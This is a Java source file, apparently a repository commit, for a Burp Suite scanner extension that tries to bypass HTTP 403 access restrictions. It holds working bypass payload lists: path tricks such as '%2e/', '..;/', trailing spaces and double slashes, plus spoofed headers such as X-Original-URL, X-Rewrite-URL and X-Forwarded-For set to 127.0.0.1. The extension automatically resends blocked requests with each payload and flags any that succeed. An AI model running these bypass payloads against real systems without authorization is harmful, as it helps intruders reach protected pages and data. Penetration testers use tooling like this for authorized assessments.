1+ package burp ;
2+
3+ import java .io .PrintWriter ;
4+ import java .util .ArrayList ;
5+ import java .util .Arrays ;
6+ import java .util .List ;
7+
8+ public class BurpExtender implements IBurpExtender ,IScannerCheck
9+ {
10+ private IExtensionHelpers _helpers ;
11+ private PrintWriter stdout ;
12+ private PrintWriter stderr ;
13+ private IBurpExtenderCallbacks _callbacks ;
14+ public static String NAME = "403ByPass_BaizeSEC" ;
15+ public static String VERSION = "1.0" ;
16+
17+ @ Override
18+ public void registerExtenderCallbacks (IBurpExtenderCallbacks callbacks )
19+ {
20+ // 设置插件的名称
21+ callbacks .setExtensionName (NAME );
22+ this ._callbacks = callbacks ;
23+
24+ // 获取burp提供的标准输出流和错误输出流
25+ stdout = new PrintWriter (callbacks .getStdout (), true );
26+ stderr = new PrintWriter (callbacks .getStderr (), true );
27+
28+ _helpers = callbacks .getHelpers ();
29+
30+ callbacks .registerScannerCheck (this );
31+ this .stdout .println (basicInformationOutput ());
32+
33+ }
34+
35+
36+ @ Override
37+ public List <IScanIssue > doPassiveScan (IHttpRequestResponse baseRequestResponse ) {
38+
39+ List <String > results = new ArrayList <>();
40+
41+
42+ IRequestInfo iRequestInfo = _helpers .analyzeRequest (baseRequestResponse );
43+
44+
45+ IResponseInfo iResponseInfo = _helpers .analyzeResponse (baseRequestResponse .getResponse ());
46+
47+ if (iResponseInfo .getStatusCode ()!=403 ) return null ;
48+ String oldReq = _helpers .bytesToString (baseRequestResponse .getRequest ());
49+ String oldUrl = iRequestInfo .getUrl ().getPath ();
50+ while (oldUrl !="/" && oldUrl .endsWith ("/" )){
51+ oldUrl =oldUrl .substring (0 ,oldUrl .length ()-1 );
52+ }
53+ String previousPath = oldUrl .substring (0 ,oldUrl .lastIndexOf ("/" ));
54+ String lastPath = oldUrl .substring (oldUrl .lastIndexOf ("/" )+1 );
55+
56+
57+ stdout .println ("Scanning: " +iRequestInfo .getUrl ());
58+
59+ String [] payloads = new String []{"%2e/" +lastPath , lastPath +"/." , "./" +lastPath +"/./" , lastPath +"%20/" , "%20" +lastPath +"%20/" , lastPath +"..;/" ,lastPath +"?" ,lastPath +"??" ,"/" +lastPath +"//" ,lastPath +"/" ,lastPath +"/.randomstring" };
60+ String [] hpayloads = new String []{"X-Rewrite-URL: " +oldUrl , "X-Original-URL: " +oldUrl ,"Referer: /" +lastPath , "X-Custom-IP-Authorization: 127.0.0.1" ,"X-Originating-IP: 127.0.0.1" ,"X-Forwarded-For: 127.0.0.1" ,"X-Remote-IP: 127.0.0.1" ,"X-Client-IP: 127.0.0.1" ,"X-Host: 127.0.0.1" ,"X-Forwarded-Host: 127.0.0.1" };
61+
62+ for (String p :payloads ){
63+ String newReq = oldReq .replace (oldUrl ,previousPath +"/" +p );
64+ IHttpRequestResponse checkRequestResponse = _callbacks .makeHttpRequest (baseRequestResponse .getHttpService (),_helpers .stringToBytes (newReq ));
65+ short STT_CODE = _helpers .analyzeResponse (checkRequestResponse .getResponse ()).getStatusCode ();
66+ if (STT_CODE == 200 ) {
67+ results .add ("Url payload: " +_helpers .analyzeRequest (checkRequestResponse ).getUrl ()+" | Status code: " +STT_CODE );
68+ }
69+ }
70+
71+ for (String hp :hpayloads ){
72+ String newReq ="" ;
73+ if (hp .startsWith ("Referer:" ) && oldReq .contains ("Referer:" )){
74+ newReq = oldReq .replace ("^Referer:.*?$" ,hp );
75+ }else {
76+ newReq = oldReq .replace ("User-Agent: " ,hp +"\r \n " +"User-Agent: " );
77+ }
78+
79+ IHttpRequestResponse checkRequestResponse = _callbacks .makeHttpRequest (baseRequestResponse .getHttpService (),_helpers .stringToBytes (newReq ));
80+ short STT_CODE = _helpers .analyzeResponse (checkRequestResponse .getResponse ()).getStatusCode ();
81+ if (STT_CODE == 200 ) {
82+ results .add ("Header payload: " +hp +" | Status code: " +STT_CODE );
83+ }
84+
85+ }
86+ if (results .toString ().equals ("[]" )) return null ;
87+ CustomScanIssue customScanIssue = new CustomScanIssue (
88+ _helpers .analyzeRequest (baseRequestResponse ).getUrl (),
89+ "403 ByPass Vuln" ,
90+ 0 ,
91+ "High" ,
92+ "Certain" ,
93+ null ,
94+ null ,
95+ results .toString (),
96+ null ,
97+ new IHttpRequestResponseWithMarkers []{_callbacks .applyMarkers (baseRequestResponse , null , null )},
98+ baseRequestResponse .getHttpService ()
99+ );
100+
101+ List <IScanIssue > issues = new ArrayList <>();
102+ issues .add (customScanIssue );
103+ stdout .println ("===================================" );
104+ stdout .println ("恭喜!有一个漏洞被发现,漏洞信息为: " +_helpers .analyzeRequest (baseRequestResponse ).getUrl ()+" " +results );
105+ stdout .println ("===================================" );
106+ return issues ;
107+ }
108+
109+ @ Override
110+ public List <IScanIssue > doActiveScan (IHttpRequestResponse baseRequestResponse , IScannerInsertionPoint insertionPoint ) {
111+ return null ;
112+ }
113+
114+ @ Override
115+ public int consolidateDuplicateIssues (IScanIssue existingIssue , IScanIssue newIssue ) {
116+ if (existingIssue .getUrl ()==newIssue .getUrl ()) return -1 ;
117+ return 0 ;
118+ }
119+
120+ /**
121+ * 基本信息输出
122+ */
123+ private static String basicInformationOutput () {
124+
125+ String str1 = "===================================\n " ;
126+ String str2 = String .format ("%s 加载成功\n " , NAME );
127+ String str3 = String .format ("版本: %s\n " , VERSION );
128+ String str4 = "作者: BaiZeSec_ahui\n " ;
129+ String str5 = "邮箱: aaaahuia@163.com\n " ;
130+ String str6 = "===================================\n " ;
131+ String detail = str1 + str2 + str3 + str4 + str5 + str6 ;
132+ return detail ;
133+ }
134+
135+
136+ }
0 commit comments